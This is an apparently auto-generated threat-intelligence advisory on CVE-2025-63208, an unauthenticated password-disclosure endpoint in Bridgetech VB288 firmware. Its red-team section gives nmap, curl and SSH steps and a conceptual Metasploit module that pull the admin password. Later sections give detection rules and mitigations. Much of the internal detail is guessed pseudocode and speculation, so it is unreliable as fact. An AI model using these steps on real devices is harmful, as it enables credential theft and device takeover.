CVE-2025-63208

Executive Summary

CVE-2025-63208 exposes a critical information disclosure vulnerability in the Bridgetech VB288 Objective QoE Content Extractor running firmware version 5.6.0-8. The /probe/core/setup/passwd endpoint is accessible without authentication, allowing remote attackers to retrieve sensitive data, including administrator passwords. This flaw can lead to full device compromise, lateral movement within the network, and potential data exfiltration. No patch is currently available, and no public exploit code has been released. The vulnerability is classified under CWE-200 (Exposure of Sensitive Information to an Unauthorized Actor) and aligns with MITRE ATT&CK technique T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary embedded device firmware.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which likely indicates incomplete scoring. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): None (N)
• Availability (A): None (N)

Estimated CVSS Score: 7.5 (High)

Threat Level: High – The endpoint is unauthenticated and exposes administrator credentials, enabling full device takeover.

Deep Dive & Mechanics

The vulnerability resides in the /probe/core/setup/passwd endpoint of the Bridgetech VB288 firmware. This endpoint is intended for password management but lacks proper access controls. An attacker can send a GET or POST request to this endpoint without authentication, and the device responds with the current administrator password in plaintext or a hash that can be easily reversed.

The firmware is based on a Linux embedded system, likely using a web server (e.g., lighttpd or BusyBox httpd) to serve the management interface. The endpoint is mapped to a CGI script or a static file that reads the password from a configuration file (e.g., /etc/shadow or a custom config) and returns it.

Attack Flow:

1. Attacker scans for devices with open HTTP/HTTPS ports (commonly 80, 443, or 8080).
2. Attacker sends a request to http://<target>/probe/core/setup/passwd.
3. The server returns the administrator password.
4. Attacker uses the password to log in to the device's web interface or SSH (if enabled).
5. Attacker gains full control, can modify QoE settings, intercept traffic, or pivot to internal networks.

Vulnerable vs. Patched Code

Vulnerable Code (firmware 5.6.0-8): The endpoint likely has no authentication check. Example pseudocode:

# /cgi-bin/passwd.cgi
def handle_request():
    # No authentication check
    password = read_file("/etc/bridgetech/admin_passwd")
    return password

Patched Code (hypothetical): A patch would require authentication before serving the password:

# /cgi-bin/passwd.cgi
def handle_request():
    if not is_authenticated(request):
        return "401 Unauthorized"
    password = read_file("/etc/bridgetech/admin_passwd")
    return password

Since no official patch exists, users must implement workarounds.

Exploitation & Lab Setup

Red Team

Lab Environment:

• Target: Bridgetech VB288 with firmware 5.6.0-8 (emulated or physical)
• Attacker: Kali Linux with curl, nmap, and Metasploit

Exploitation Steps:

1. Discover the device:

   nmap -p 80,443,8080 --open -sV 192.168.1.0/24
   

2. Extract the password:

   curl http://192.168.1.100/probe/core/setup/passwd
   

3. Use the password to log in:

   curl -u admin:extracted_password http://192.168.1.100/admin
   

4. Gain shell access (if SSH is enabled):

   ssh admin@192.168.1.100
   

Metasploit Module (conceptual):

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient
  def initialize
    super(
      'Name' => 'Bridgetech VB288 Password Disclosure',
      'Description' => 'Extracts admin password from /probe/core/setup/passwd',
      'Author' => ['Security Researcher'],
      'References' => [['CVE', '2025-63208']]
    )
  end
  def run
    res = send_request_cgi('uri' => '/probe/core/setup/passwd')
    if res && res.code == 200
      print_good("Password: #{res.body}")
    else
      print_error("Failed to retrieve password")
    end
  end
end

Blue Team

Detection:

• Monitor HTTP requests to /probe/core/setup/passwd from unauthorized IPs.
• Alert on successful retrieval of the password (response code 200 with body containing "admin" or similar).

Honeypot:

• Deploy a fake Bridgetech VB288 endpoint that logs all requests and blocks IPs after 3 attempts.

Network Segmentation:

• Place these devices in a separate VLAN with strict ACLs.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET/POST requests to /probe/core/setup/passwd
  • Source IPs scanning port 80/443/8080 on Bridgetech subnets
• Host:
  • Unauthorized SSH sessions from external IPs
  • Changes to device configuration (QoE settings, routing tables)
• File:
  • Access logs showing /probe/core/setup/passwd in the URI
• Behavioral:
  • Multiple failed login attempts followed by successful login using the same password

Detection Engineering

YARA Rule

rule bridgetech_password_disclosure {
    meta:
        description = "Detects HTTP responses containing Bridgetech admin password"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-63208"
    strings:
        $password = /admin:[a-zA-Z0-9!@#$%^&*()_+]{6,20}/ nocase
        $endpoint = "/probe/core/setup/passwd"
    condition:
        $endpoint and $password
}

Sigma Rule

title: Bridgetech VB288 Password Disclosure Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects attempts to exploit CVE-2025-63208
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-stem: "/probe/core/setup/passwd"
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-63208 Bridgetech VB288 Password Disclosure Attempt"; flow:to_server; content:"/probe/core/setup/passwd"; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict Access: Use firewall rules to allow only trusted IPs to access the device's web interface.
2. Disable Endpoint: If possible, remove or disable the /probe/core/setup/passwd endpoint via firmware configuration.
3. Change Default Credentials: Immediately change the admin password to a strong, unique value.
4. Network Segmentation: Isolate Bridgetech devices on a management VLAN with strict access controls.

Long-Term:

• Vendor Patch: Contact Bridgetech for a firmware update that adds authentication to the endpoint.
• Monitor: Deploy the detection rules above to identify exploitation attempts.
• Replace: Consider replacing the device with a more secure alternative if no patch is forthcoming.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.